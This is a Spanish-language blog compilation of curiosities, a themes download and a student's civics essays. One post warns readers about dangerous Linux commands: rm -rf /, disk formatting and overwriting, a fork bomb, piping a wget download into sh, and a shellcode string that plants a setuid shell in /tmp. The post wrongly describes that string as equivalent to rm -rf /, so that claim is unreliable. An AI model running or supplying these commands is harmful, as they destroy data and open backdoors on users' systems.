Un pinguino muy astuto!

Jajajajaja es el mejor video de animales que he visto en mi vida!
Sin dudas podemos ver la inteligencia del reino animal en casos de vida o muerte!
No sólo es hermoso el paisaje en si donde esta grabado este video sino que también es muy gracioso como este pinguino escapa de unas orcas que no son tan buenas como willy! XD

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demonio y sus bromas

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CONVIÉRTETE CON LAS DISCO-MONJAS

CONVIÉRTETE CON LAS DISCO-MONJAS

Un grupo de monjas -vestidas como tales- bailan música disco y animan partidos deportivos. Al parecer muchos se convirtieron.

En Sassari, al sur de Italia, un grupo de hermanas junto con curas y monjes hacen una rutina de animadores al compás de la música disco. Según las palabras del coreógrafo el Padre Steven "Uds. querían que hablemos su propio idioma... y aquí estamos".

Actualmente la troupe se encuentra en medio de una gira italiana en discotecas y clubes nocturnos haciendo su rutina de baile tratando de llegar a esas almas difíciles de salvar. Este grupo –rara mezcla de cheerleaders y religiosos- busca llevar la cristiandad a todos los que se dejen conmover por el mensaje de los evangelios… o al menos por los Bee Gees.

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Realidad Virtual

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Videos Youtube

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Huesos a medida a partir de calcio en polvo.

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Investigadores nipones consiguen crear en apenas unas horas réplicas exactas de huesos a partir de los cuales se pueden reconstruir zonas que se han perdido por accidente o enfermedad.

Para ello toman un poco de fosfato de calcio en polvo, le agregan agua destilada y un líquido solidificante, a partir del cual crean capas con la forma deseada hasta obtener una réplica del hueso que el paciente ha perdido.

El fosfato de calcio es el mismo “material” del que están hechos los huesos reales, y mediante técnicas de diseño asistido por computador se forman capas de 0,1 mm de espesor cuya forma puede variar hasta lograr la geometría y el grosor deseados, con un margen de error muy pequeño, de tan sólo 1 mm.

En algunos hospitales japoneses se están llevando a cabo los primeros ensayos clínicos, y se espera que dichos implantes puedan reemplazar la necesidad de emplear huesos de donante cadáver o el uso de materiales como la cerámica.

Los ensayos clínicos durarán un par de años, durante los cuales en 10 hospitales japoneses se realizarán pruebas con uno total de 70 pacientes.

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wow

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Fantasmas

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Hooo!!!... Creo que Spiderman perdio sus poderes...

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Windows 7 Theme

Ya esta disponible el tema del nuevo sistema operativo de Microsoft para nuestra clasica XP.

Contiene el tema de windows 7, styler + toolbar y wallpapers.

Asi te quedara cuando le instales STYLER, que esta dentro del rar.

Peso: 6 MB
Compresion: Winrar
Descarga:
http://rapidshare.com/files/167481254/tsxp.rar

Para que este tema te funcione, recomiendo instalar UXTheme Multi-Patcher, descargalo desde aqui:
http://rapidshare.com/files/140092227/Uxtheme_Themes.rar

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LISTO, GOLFISTAS MEDIOCRES A GANAR

LISTO, GOLFISTAS MEDIOCRES A GANAR

Era hora de que inventaran algo que permitiera humillar a los engreídos que saben con qué palito hay que pegarle.

Imagine esta situación. Ud. se encuentra ante un tiro que obviamente requiere que le pegue con suavidad con un Iron N° 7. Pero Ud. que es bien macho, agarra cualquier palo y le pega con el mismo estilo que utilizaría para ajusticiar a una rata que se le metió en la cocina.

Su jefe y otros encumbrados golfistas lo miran con sorna y desdén. Pero después de trazar una parábola anormal la pelotita entra y Ud. celebra con altura y elegancia: "Tomen giles, chiva, chiva". Cuál será el secreto de un éxito deportivo que es también un acto de justicia en la lucha de clases. Muy simple: pelotitas de golf a control remoto.

La "ProActive Sports Radio Control Incred-A-Ball" no sólo sirve para que sus tiros parezcan notables, sino que también cumple la función de hacer que su contrincante pase por marmota. La pelotita viene acompañada de un cargador y del radiocontrol.

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Windows vs Linux


Todos sabemos que Linux es infinitamente más seguro que Windows, y en ellos intervienen dos factores principalemente:

  1. Linux tiene una seguridad superior a Windows
  2. Los hackers no suelen crear programas maliciosos para Linux por una sencilla razón: hay muchos más usuarios de Windows que de Linux y, por lo general, los usuarios de Linux tienen más conocimientos en cuestión a seguridad informática.

.

Aún así, existen comandos que son peligrosos y que ponen en peligro la integridad de nuestros datos o/y Sistema Operativo. Por ello, os dejo a continuación algunos de estos comandos leidos en Ubuntu Life, para que jamás los ejecutéis:

rm -rf /

Comando que borra recursivamente todos los ficheros almacenados en el directorio root. Vendría a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

char esp[ ] __attribute__ ((section(”.text”))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Este es el mismo comando que el primero, aunque escrito en hexadecimal.

mkfs.ext3 /dev/sda

Formatea el Sistema de Archivos que se encuentra en /dev/sda, que normalmente es nuestro disco duro.

:(){:|:&};:

Conocido tambien como forkbomb. Este comando comenzará a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.

wget http://alguna_url -O- | sh

Este comando descargará un fichero ejecutable o script y lo ejecutará. Si el sitio no es de confianza, podría contener código malicioso.

mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).


http://www.elhuequito.com

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Ya es posible ver a través de las paredes.

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Un nuevo dispositivo capaz de captar ondas electromagnéticas permite ver a través de las paredes.

Según Amir Beeri, jefe de tecnología de la empresa Camero, no se trata de una cámara de foto, sino de otra forma de ver: "lo que captamos son las ondas electromagnéticas que los objetos transmiten".

El dispositivo, bautizado como "Xaver", lo que hace es "traducir" dichas ondas en imágenes que indican a los usuarios, si del otro lado de la pared hay algo, si son cuerpos inertes o gente en movimiento, cuánta gente hay y en qué posición se encuentra.

El dispositivo es capaz de detectar también objetos totalmente estáticos y se efectivo hasta a profundidades de 20 metros y puede de hecho "pasar" varias paredes dentro de esa medida.

Funciona perfectamente incluso a través de paredes de 45 centímetros de cemento reforzado, con tres capas.

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El Chino cudeiro

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Neumáticos a partir de algas marinas.

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Las algas marinas podrían ser un sustituto del caucho empleado para la fabricación de neumáticos para automóviles.Gracias a una investigación pionera llevada a cabo por el catedrático de la Universidad de Girona Félix Carrasco las algas marina podrían ser la materia prima a partir de la cual elaborar nuevos biocauchos.Según Félix Carrasco, el principal problema para poner en el mercado unos "bioneumáticos que crecen en el mar" es convencer a los usuarios de su fiabilidad, algo ya demostrado en los laboratorios del Trellborg Wheell Systems de Tívoli (Italia).Por el momento Pirelli, promotora de la investigación, posee la patente, aunque por el momento no tienen prevista su comercialización.
Artículo publicado por Electrónica Fácil

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JAULA GIGANTE PARA FAMILIA VOLÁTIL



Una familia china construyó en su jardín una jaula gigante para sentarse dentro de ella.
La vista de esta jaula -igualita a la que ocupan los canarios pero mucho más grande- impacta a la vista. Sin embargo moviliza más por su aspecto surrealista que por el atino estético.La construcción metálica de cinco metros de alto se yergue como una metáfora dolorosa y tiene dentro una mesita y unas sillas donde sentarse a discutir lo efímero de la vida y la sinrazón de la existencia. Como la cristalización de una verdad trágica la desmedida prisión avícola está ubicada en un jardín a los pies de la montaña de Yuhuang en Hangzhou, un punto panorámico envidiable.Zhu Hu, el propietario de la jaula, explicó que "se siente muy seguro adentro y además nos permite adivinar cómo se sienten los pájaros”. Su familia y amigos encuentran en el interior del armazón un lugar donde relajarse y pasar un buen momento.

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Tareas

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Estas son las tareas que habian pedido. A los colaboradores que han mandado archivos les comento que todo se publicara mas adelante gracias. Aqui pueden seleccionar las tareas directamente. Para hacer la busqueda mas facil de las tareas voy a dejar este icono en la sidebar y al clickearlo los mandara directamente a las tareas. Saludos a todos.

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Conocimiento y cuidado de si mismo

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Conocimiento y cuidado de si mismo

Formacion civica y etica

Nombre: Susana Luz Lu Zhen.

Escuela: Colegio Niños Héroes.

Grado: 2º “C” de secundaria.

Autoconocimiento: Conocimiento de sí mismo

Concepto

Es el proceso reflexivo (y su resultado) por el cual la persona adquiere noción de su yo y de sus propias cualidades y características. Como todo proceso, puede ser desglosado en diversas fases, como: autopercepción, autoobservación, memoria autobiográfica, autoestima, autoaceptación. No puede haber, pues, autoestima sin autoconocimiento. De ahí la importancia del autoconocimiento para el desarrollo personal.

Obstáculos

El primer obstáculo:

Consiste en la tendencia que tenemos las personas por pudor, modestia, soberbia o simplemente desconocimiento, a negar nuestros defectos y nuestras virtudes. Este rasgo sobresale más si hablamos de jóvenes adolescentes que están inmersos en un proceso de descubrimiento y cambio en su situación laboral, académica, familiar, afectiva y física.

El segundo obstáculo:

Reside en la propia naturaleza del autoconocimiento, ya que no basta con descubrir una serie de datos o características de una manera fría, descriptiva, aséptica. El conocimiento de uno mismo pasa por una toma de conciencia que se relaciona mucho más con los sentimientos y que requiere de tiempo, reestructuración de nuestros conceptos y confrontación con la propia realidad.

El tercer obstáculo:

Es una posible resistencia al autoconocimiento por parte de jóvenes que pasan de la escuela al trabajo ya, que frecuentemente choca lo que somos con lo que queremos ser. Mientras el joven ha estado estudiando ha ido dibujando en su mente aquello que le gustaría hacer, pero cuando llega la hora de incorporarse al mercado laboral es más importante lo que es capaz de hacer y lo que es capaz de demostrar que puede hacer.

El proceso de autoconocimiento no es sencillo ni breve y necesita de una toma de conciencia que no es fácil de conseguir. Para ello podemos servirnos de ciertos instrumentos y técnicas para facilitar el autoconocimiento.

¿Cómo me puedo conocer?

Observando y analizando por que hago o dejo de hacer "X cosas"

Observando y analizando a las otras personas.

Preguntando me

Informando me

Observando los espejos que me reflejan.

Descubriendo si los espejos reflejan imágenes correctas o tienen deformaciones.

Posibles preguntas. Para encontrar respuestas / para conocernos

¿Necesito ser siempre el centro de atención ?, ¿por que?
¿Normalmente intento a la mínima ocasión decir que conozco a tal o cual persona "importante"?, ¿por qué?
¿Quiero tener siempre la razón?, ¿por que?
¿Siempre quiero impresionar a las otras personas ?, ¿por qué?
¿Delante de un problema veo solo lo negativo de la situación o intento centrar-me en las posibles soluciones?, ¿por qué?
¿Cuando hago algo mal, doy siempre la culpa a los otros o asumo mi responsabilidad?, ¿por qué?
¿Me cuesta relacionarme con otras personas?, ¿soy "asocial"?, ¿por qué?
¿Me culpabilizo de todo?, ¿por qué?
¿Me autoengaño ? , ¿por qué?

Autopercepción

La autopercepción es la imagen que se hace el individuo de él mismo cuando se trata de evaluar las propias fuerzas y autoestima.

Nuestro comportamiento está determinado, en gran medida, por la idea que tenemos de nosotros mismos y, por lo tanto, desempeña un rol importante en el stress personal, así como en dominio de este último.

Los sujetos cuya autoestima está debilitada y que no tienen mucha seguridad, son mucho más proclives al stress que aquellos que tienen confianza en sí mismos y se ven bajo una luz positiva.

Autoobservación

Es un procedimiento que enfatiza, implícitamente, el control del individuo sobre su propia conducta; y permite acceder a datos que serían inaccesibles al modificador de la conducta

Por todo esto, la autoobservación es una técnica especialmente adecuada cuando:

No es posible disponer de otros observadores.

Se trata de conductas no observables externamente.

Se trata de respuestas íntimas o privadas.

En conductas de alta frecuencia y alta variabilidad en función de los diversos ambientes (beber, fumar, morderse las uñas).

En respuestas desencadenadas por estímulos internos (comer).

La autoobservación puede ser utilizada con dos finalidades:

Como estrategia de evaluación.

Como estrategia de tratamiento (como factor motivacional y como componente activo del tratamiento, a veces útil en sí mismo).

Autobiografía

La autobiografía es la vida de una persona escrita por ella misma, puede ser una de las pruebas a pasar en los procesos de selección, conviene que estés preparado para ello.

Autoestima

La autoestima es el sentimiento valorativo de nuestro ser, de nuestra manera de ser, de quienes somos nosotros, del conjunto de rasgos corporales, mentales y espirituales que configuran nuestra personalidad. Esta se aprende, cambia y la podemos mejorar. Es a partir de los 5-6 años cuando empezamos a formarnos un conceptode cómo nos ven nuestros mayores (padres, maestros), compañeros, amigos, etcétera y las experiencias que vamos adquiriendo.

Autoaceptación

es el proceso mental que se ejerce a partir de evaluar nuestros sentimientos positivos y negativos con el objetivo principal de aceptarnos tal como somos ante la sociedad.

Autocuidado

Autocuidado es una acción que tiene un patrón y una secuencia y cuando se realiza efectivamente, contribuye de manera específica a la integridad estructural, desarrollo y funcionamiento humanos. Sirve para prevenirnos de accidentes y de muchos mas riesgos que pueden llegar a ser mortales o pueden causar daños psicológicos y trastornos mentales.

podría considerarse como la capacidad de un individuo para realizar las actividades necesarias para vivir y sobrevivir

La estructura del proceso de autocuidado contiene tres secuencias:

a) Investigación, formulación y expresión de los requerimientos regulatorios de la personalos requisitos de autocuidado.

b) Realización de juicios sobre el curso de acción que debe ser tomado para regular los requisitos de autocuidado y seguidamente tomar decisiones.

c) Llevar a cabo las acciones de autocuidado para producir la regulación de los requisitos

Relación entre el autoconocimiento y el autocuidado

El autoconocimiento y el autocuidado se encuentran estrechamente relacionados, ya que para un óptimo autocuidado, se es necesario conocerse a uno mismo, para evitar poner en riesgo nuestra vida.

Un ejemplo claro es el siguiente relato:

“Si no me conozco, ¿Cómo me puedo cuidar?”

Juan, es un niño que no tiene un conocimiento propio, solo conoce los comentarios que hacen los demas sobre él. Un día, en su primera clase de natación, el profesor les pidió que los que supieran nadar, hicieran una demostración a sus compañeros. Uno de los amigos de Juan le preguntó que si sabía nadar, y Juan contestó que no sabía, y que nunca lo había intentado, pero en eso, llega uno de sus compañeros y le dice que si sabe, y que vaya a hacer la demostración.

Juan, convencido de lo que decía su compañero, fue, pero indeciso, y no sabía si hacerlo o no, pero sus compañeros lo presionaban diciéndole que lo hiciera, y que si sabía.

La alberca era prefunda; cuando el profesor fue a hablar con un padre de familia, Juan se lanzó al agua y, como no sabía como moverse dentro del agua, y no supo qué hacer para no ahogarse y respirar bajo el agua, se fue ahogando poco a poco, y nadie se dio cuenta.

Al final de la clase, el profesor y la mamá de Juan lo buscaron por todas partes, y no lo encontraron.

12 horas después del incidente, al vaciar la alberca, encontraron el cuerpo de Juan sin vida en la alberca, flotando.

Por eso es muy importante conocernos y tener un conocimiento propio de nuestras habilidades, virtudes, desventajas o destrezas; para no usar lo que no sabemos usar y es peligroso, para no realizar actividades que pongan en riesgo nuestra vida o ir a ciertos lugares que dañarían nuestra condición física o psicológica.

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Resolucion de conflictos

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Resolucion de conflictos

Formacion civica y erica

Nombre: Susana Luz Lu Zhen.
E
scuela: Colegio Niños Héroes.
Grado: 2º “C” de secundaria.

Concepto

La definición más simple, y la que la mayoría de nosotros posiblemente elegiríamos, es la que se refiere a una situación en la que dos personas no están de acuerdo con la forma de actuar de una de ellas, o con que una de ellas tome las decisiones.
Si Luis quiere ir a Canarias y María a Baleares, están en desacuerdo. Si Luis accede a ir a Baleares, o si María acepta ir a Canarias, o si ambos acuerdan optar por Portugal, el conflicto no se produce -sólo ha habido una desavenencia que se ha resuelto-. Pero si ninguno de los dos cede, el resultado será un conflicto.
Conflictos unilaterales y bilaterales
Los conflictos pueden ser unilaterales o bilaterales. Un conflicto unilateral es cuando sólo se queja una de las partes. Por ejemplo, si un inquilino deja de pagar el alquiler sin razón alguna, puede decirse que el propietario tiene un conflicto unilateral. Por otra parte, en un conflicto bilateral, cada persona quiere algo de la otra. Si el inquilino no paga porque no funciona la calefacción, hay goteras en el techo o se ha roto la pierna porque había un peldaño roto en la escalera, entonces tanto él como el propietario tienen planteado un problema bilateral. El inquilino quiere que se hagan las reparaciones; el propietario quiere su dinero. Si ninguno cede a las exigencias del otro, hay conflicto por las dos partes.
Ésta es la definición más elemental de conflicto. Pero no es tan sencillo como parece, porque a menudo los conflictos unilaterales son conflictos bilaterales disfrazados. Cuando aparentemente una de las partes parece no tener quejas o motivo para un comportamiento agresivo, puede que no se dé cuenta de que a un nivel inconsciente está furioso con la otra persona.
Tomemos como ejemplo la disputa entre propietario e inquilino. El inquilino no ha pagado y no es porque no tenga el dinero o porque el dueño sea negligente. Es una postura pasivo-agresiva que no tiene una explicación racional, no puede descifrar el porqué de sus propias acciones. Sencillamente, se "olvida" de enviar el cheque por correo. Pero en realidad, lo que pasa es que hace varios meses el dueño se tropezó con él en el supermercado y ni siquiera se dignó saludarle. El inquilino lo encontró extraño en aquel momento e incluso le molestó un poco. A medida que el tiempo fue pasando, enterró el insulto real o imaginario en su memoria. Pero el incidente tuvo una consecuencia inconsciente que se manifestó en el retraso de los pagos del alquiler.
En cierto modo, pues, no existe el conflicto unilateral, porque cada conflicto posee unas causas subyacentes, conscientes o inconscientes. En lo que a un conflicto se refiere, no existe el que ha surgido de la nada. En algún lugar, de alguna manera, no importa lo profundas que estén, se han plantado las semillas.
La luchas contra el conformismo y educar para resolver el conflicto.

la educación orientada a acabar con las guerras ha de combinar el espíritu critico y la capacidad de resolver los conflictos por métodos incruentos.
La educación para la paz ve el conflicto como uno de sus objetivos principales y lo toma como referencia y punto de partida para la siguiente reflexión: ¿sabemos resolver los conflictos?
El conflicto suele considerarse negativo porque lo percibimos a través de las consecuencias destructivas que tiene la forma habitual de resolverlos. Entramos en el conflicto con una actitud de competitividad.
Conflicto no es igual a violencia, es algo habitual en las relaciones entre grupos sociales e interpersonales. Es la interacción de personas con objetivos incompatibles.
La violencia supone la ruptura, la negación del conflicto, supone optar por resolverlo de forma destructiva. En la resolución del conflicto está el camino para conseguir la paz. Negamos así la idea de paz pasiva como ausencia de conflictos y asumimos el concepto de paz positiva, de resolución no violenta de conflictos, es un proceso no una meta.

Causas de un conflicto

Interdependencia laboral

La interdependencia laboral se produce cuando dos o más grupos de una organización dependen unos de otros para realizar su trabajo. En estos casos, las posibilidades de que surjan conflictos son muy elevadas:

Interdependencia combinada: no requiere interacción alguna entre grupos, ya que cada uno actúa independientemente. No obstante, el rendimiento combinado de todos es lo que decide el éxito de la organización. La posibilidad de conflictos es relativamente escasa. Interdependencia secuencial: exige que un grupo finalice un trabajo para que otro pueda hacer lo mismo. En estas circunstancias, cuando el producto final de un grupo es el insumo de otro, hay mayores posibilidades de que surja un conflicto. Interdependencia recíproca: requiere que el producto final de cada grupo sirva de insumo para otros grupos de la misma organización. Las posibilidades e que surjan conflictos son elevadas.

Cuanto más compleja sea la organización, mayores serán las posibilidades de conflicto y más difícil será la tarea que debe realizar la dirección.

Diferentes objetivos

A medida que las diferentes unidades de una organización van especializándose, sus objetivos se van distanciando. Esta diferencia de objetivos se puede traducir en una diferencia de expectativas entre los miembros de cada unidad. Dada la diferencia entre objetivos y expectativas, cabría la posibilidad de que se presenten conflictos:

Recursos limitados: a la hora de asignar recursos limitados, la dependencia mutua aumenta y cualquier diferencia de objetivos se hace más clara. Todos los grupos pretenden reducir las presiones a que estás sometidos logrando controlar el suministro de recursos básicos y recudiendo la incertidumbre en cuanto a su obtención. Cuando los recursos son limitados, se establece una competencia que puede traducirse en un conflicto disfuncional si los grupos se niegan a colaborar.

Estructuras retributivas: cuando el sistema retributivo está vinculado al rendimiento del grupo más que al de la totalidad de la organización, las posibilidades de conflictos aumentan, aún más cuando un grupo es el principal responsable de la asignación de retribuciones.

Diferencias de percepción

Cualquier desacuerdo sobre lo que constituye la realidad puede concluir en un conflicto: Diferentes objetivos: Las diferencias de objetivos entre grupos contribuyen claramente a que existan diferencias de percepción en los mismos. Diferentes horizontes temporales: las fechas tope influyen sobre las prioridades y la importancia que los grupos asignan a sus distintas actividades Posiciones incongruentes: los conflictos suscitados por la posición relativa de los distintos grupos son habituales e influyen en sus perspectivas. Percepciones inexactas: lleva a que un grupo cree estereotipos con respecto a los demás. Cuando se insiste en las diferencias entre grupos, se refuerzan los estereotipos, se deterioran las relaciones y aparecen los conflictos.

Creciente demanda de especialistas: Los conflictos entre especialistas y generalistas son, con toda probabilidad, los más frecuentes entre grupos. Lo cierto es que especialistas y generalistas se ven y ven a sus respectivos papeles desde perspectivas diferentes. Al aumentar la necesidad de capacitación técnica en todas las áreas de la organización, cabe esperar que se incremente el número de especialistas y que este tipo de conflictos continúe en aumento.

Resolución de conflictos de forma pacífica

-FASES PAPA LA RESOLUCIÓN DEL CONFLICTO
-Creación de un clima favorable
-Distanciarse, calmarse
-Definir el conflicto
-Describirlo: personas implicadas, origen, desarrollo, situación actual
-Integrar toda la información necesaria
-Establecer objetivos, según los resultados deseados
-Diseñar posibles soluciones y propuestas teniendo en cuenta las consecuencias positivas o negativas.
-Escoger una solución
-Elaborar un plan para aplicarla, pasos de acción
-Responsabilizarse para llevarla a la práctica
-Evaluar, valorar, los resultados obtenidos.
2-ENSEÑAR A DETECTAR Y MODIFICAR DISTORSIONES COGNITIVAS
-Sensibilizar sobre la importancia que tiene lo que pensamos sobre lo que sentimos y hacemos, en nuestras dificultades para conseguir lo que queremos.
-Ayudar a detectar pensamientos distorsionados: absolutismo (tiene que ser así), pensamiento dicotómico (si no es bueno, es malo), sobre generalización (todos son iguales), fatalismo (todo me sale mal), confusión de las emociones con la realidad (siento esto, luego esto es así), sesgos de interpretación (no se tiene en cuenta todos los factores)
-Enseñar pensamientos alternativos a los sesgos que se quieren superar.

3-ESTIMULAR LA EMPATIA Y LA ADOPCIÓN DE PERSPECTIVAS
-Haciendo actividades que impliquen la representación de una misma situación cambiando la perspectiva.
-Ponerse en lugar de las distintas personas implicadas.
-Adoptar la perspectiva de un observador imparcial
-Considerar el punto de vista de la comunidad.
-Establecer una jerarquía de prioridades entre los derechos en conflicto.
-Dramatización de papeles antagónicos, representación del propio papel (para anticipar el futuro, para eliminar distorsiones pasadas)

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Respeto y valoración de la diversidad humana

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Respeto y valoración de la diversidad humana

Formacion civica y etica

Nombre: Susana Luz Lu Zhen.
Escuela: Colegio Niños Héroes.
Grado: 2º “C” de secundaria.

Diversidad humana

Concepto
El concepto Diversidad
abarca múltiples aspectos. Nosotros nos vamos
a detener en la diversidad que se observa en las aulas, en relación al alumnado. Sin
olvidar que la diversidad del profesorado, de padres, de centros, etc., serán factores que influyan directamente en la diversidad del alumnado. Nuestro planteamiento inicial es el de considerar la Diversidad no como anomalía sino la concepción de la Diversidad como Valor.
La Diversidad es un Valor que la escuela ha de poner al alcance de todos y
todas.
La diversidad del pensamiento o de las expresiones se debe a la diferencia en el desarrollo, la experiencia y el conocimiento de los seres humanos. El alma o la mente, como una fuerza es la misma en todos nosotros, pero la expresión de esta fuerza a través de la constitución física y mental del hombre, es lo que cada uno de nosotros la ha hecho. Aquí es donde radica tan gran diversidad. Piensen en la diversidad de idiomas en el mundo. ¿A qué se debe?
Sin embargo, existe un lenguaje universal que es comprendido por todos, y este es el lenguaje del amor. No importa en cuál país vivamos y cuán poco comprendamos el idioma extranjero, si vemos a una persona sonriente, feliz, viviendo una vida de bondad y amor, nos damos cuenta de ello. Si vamos a otra cuyo corazón es duro, en donde se alberga la cólera en lugar del amor, podemos notarlo enseguida aunque la persona no pueda decirnos en palabras lo que pasa. Con amor en nuestro corazón, podemos comprender las alegrías de los pájaros y de los animales. Con amor en nuestro corazón, nuestra mente recibe mensajes de aquellos que necesitan ayuda y simpatía. Con amor como un lenguaje podemos contarle a cualquiera historias felices que dan alegría y consuelo, alejando así el mal. El amor es en verdad un idioma maravilloso, porque el amor tiene origen cósmico y refleja la armonía del equilibrio en todas las fuerzas universales.
El hombre ha hecho numerosos intentos de crear un lenguaje propio y, como resultado, tenemos muchos idiomas.
Estos lenguajes y las leyes que implican han sido la causa de que nuestros pensamientos sean tan diferentes. A un niño se le enseña que una tabla con cuatro patas debajo es una mesa. Así pues por las decisiones arbitrarias de aquellos que hacen nuestros idiomas, millones de niños son influidos en su modo de pensar.
Nuestras percepciones, pueden estar equivocadas, pero con ellas nos formamos ideas sobre el mundo; vivimos de acuerdo con lo que percibimos, no siempre por lo que las cosas son en realidad.
Todas estas diferencias se deben a nuestra educación, al intento del hombre por interpretar su medio ambiente en la mejor forma posible. Por consiguiente, siempre es importante que el hombre se valga de la inspiración como fuente de conocimiento o sabiduría. Debería seleccionar otros lenguajes universales que reflejen la armonía y los aspectos positivos de la Naturaleza. La música llega por medio de la inspiración; es, por lo tanto, un lenguaje universal. No importa cuál idioma hablemos, podemos comprender la música porque es un leguaje cósmico de armonía. Y es así como por medio del amor, la música, la inspiración y otros conductos, nos son enseñadas grandes lecciones. Estas lecciones actúan en beneficio nuestro, hacen que nos sintamos atraídos a estados armoniosos.
Es por ello que debemos aprender cómo vivir y cómo meditar para poder recibir de la Mente Cósmica las lecciones que estos lenguajes imparten. Entonándonos con la mente de otro ser humano podemos recibir la verdad o valores más absolutos de esa mente, mientras que si dependemos de las palabras a través de las facultades objetivas del hombre, podríamos recibir una respuesta no cierta. Al entonarnos con la mente universal podemos recibir información en la que podemos confiar por ser verdadera.

No Discriminación

¿Qué son los derechos humanos a la no-discriminación?
Cada hombre, mujer y niño tiene el derecho a estar libre de discriminación basada en género, raza, etnia, orientación sexual u otra condición, así como a otros derechos humanos fundamentales que dependen de la realización plena de los derechos humanos para la protección de la discriminación. Estos derechos se encuentran establecidos en la Declaración Universal de los Derechos Humanos, los Pactos Internacionales, la Convención Internacional de los Derechos del Niño y otros tratados y declaraciones internacionales; todas éstas constituyen herramientas poderosas que deben ser puestas en marcha para eliminar todo tipo de discriminación.
Los Derechos humanos en cuestión:
El derecho humano a la no - discriminación confiere a cada hombre, mujer, joven y niña o niño los siguientes derechos fundamentales, incluyendo:
El derecho a la no distinción, exclusión, restricción o preferencia por motivos de género, raza, color, origen nacional o étnico, religión, opinión política u otra, edad, o cualquier otra condición que tenga el propósito de afectar o deteriorar el goce completo de los derechos y libertades fundamentales.
El derecho a la igualdad entre hombre y mujer tanto en la familia como en la sociedad.
El derecho a la igualdad entre niño y niña en todas las áreas: educación, salud, nutrición y empleo.
El derecho de todas las personas para estar libres cualquier tipo de discriminación en todas las áreas y niveles de educación y acceso igualitario a una educación continua y capacitación vocacional.
El derecho al trabajo y a recibir salarios que contribuyan a un estándar adecuado de vida.
El derecho a una remuneración igualitaria en el trabajo.
El derecho a una estándar alto y accesible de salud para todos.
El derecho de crecer en un ambiente seguro y saludable.
El derecho a participar en la toma de decisiones y políticas que afecten a su comunidad a nivel local, nacional e internacional.

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Formacion Civica y etica

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Nombre: Susana Luz Lu Zhen.
Escuela Colegio Niños Héroes.
Grado: 2º “C” de secundaria.
Sexualidad en los adolescentes
En esta etapa de la vida, los jóvenes experimentan sus atracciones por otra persona del sexo opuesto, y de ahí comienza su responsabilidad al tomar decisiones sobre suvida sexual.
Enfermedades de transmisión sexual
Antes que nada, debes conocer algunas de las enfermedades que se transmiten por vía sexual:
SIDA
El sida (de SIDA, acrónimo de síndrome de inmunodeficiencia adquirida, en inglés AIDS), es una enfermedad que afecta a los humanos infectados por el VIH (virus de inmunodeficiencia humana). Se dice que una persona padece de sida cuando su organismo, debido a la inmunodepresión provocada por el VIH, no es capaz de ofrecer una respuesta inmune adecuada contra las infecciones que aquejan a los seres humanos. Se dice que esta infección es incontrovertible.
Cabe destacar la diferencia entre estar infectado por el VIH y padecer de sida. Una
persona infectada por el VIH es seropositiva, y pasa a desarrollar un cuadro de sida cuando su nivel de linfocitos T CD4 (que son el tipo de células a las que ataca el virus) desciende por debajo de 200 células por mililitro de sangre.
El VIH se transmite a través de los fluidos corporales (tales como
sangre, semen, secreciones vaginales y leche materna).[1] El Día mundial de la lucha contra el SIDA se celebra el 1 de diciembre.
Gonorrea
La gonorrea es una enfermedad de transmisión sexual (ETS), provocada por la Neisseria gonorrhoeae, una bacteria que puede crecer y multiplicarse fácilmente en áreas húmedas y tibias del tracto reproductivo, incluidos el cuello uterino (la abertura de la matriz), el útero y las trompas de Falopio (también llamadas oviductos) en la mujer, y en la uretra (conducto urinario) en la mujer y en el hombre. Esta bacteria también puede crecer en la boca, la garganta, los ojos y el ano.
La gonorrea se transmite por contacto con el pene, la vagina, la boca o el ano. No es necesario que se dé la eyaculación para transmitir o contraer la gonorrea. La gonorrea también puede transmitirse de madre a hijo durante el parto.
Las personas que han tenido gonorrea y han sido tratadas pueden infectarse nuevamente si tienen relaciones sexuales con una persona que tiene la enfermedad.
Sífilis
La sífilis es una enfermedad de transmisión sexual (ETS) causada por la bacteria Treponema pallidum. A menudo se le ha llamado “la gran imitadora” porque muchos de sus signos y síntomas no se distinguen fácilmente de otras enfermedades.
La sífilis se pasa de una persona a otra a través del contacto directo con una úlcera sifilítica. Las úlceras aparecen principalmente en los genitales externos, la vagina, el ano o el recto. También pueden salir en los labios y en la boca. La transmisión de la bacteria ocurre durante las relaciones sexuales vaginales, anales u orales. Las mujeres embarazadas que tienen esta enfermedad pueden pasársela a los bebés que llevan en el vientre. La sífilis no se propaga por el contacto con los inodoros, las manijas de las puertas, las piscinas, las bañeras normales o de hidromasaje, ni por compartir ropa o cubiertos.
Estas tres enfermedades son las mas frecuentes en los adolescentes, y pueden llegar a causar la muerte.
Medidas de prevención de transmisión de enfermedades sexuales
El profiláctico o condón.
Preservativo (término proveniente de preservar de la concepción), también llamado condón o profiláctico, es un elemento que se utiliza como
método anticonceptivo y de prevención de varias enfermedades de transmisión sexual.
En el caso del condón de varón consiste en una funda que se ajusta a ligera tensión sobre el
pene erecto y para su fabricación se usan diversos materiales, siendo el más común de hule látex natural, aunque antes se fabricaron de tejidos animales, y también se hace de poliuretano para casos de alergia al látex.
El condón femenino es una bolsa que forra la vagina y cubre los genitales externos; siendo inicialmente (1993) de poliuretano, lo hay de
nitrilo y recientemente se fabrica en látex. Además de cubrir los labios genitales y el clítoris, evita que los testículos estén expuestos a contagio o contagiar virus del papiloma humano-VPH-, como los otros agentes infecciosos -VIH, etc-; también protege de contagio si se usa la vía anal.
A continuación explicaré una etapa de la mujer, que también surge al realizar relaciones sexuales, pero que también hay que prevenir si no es deseado:
Embarazo
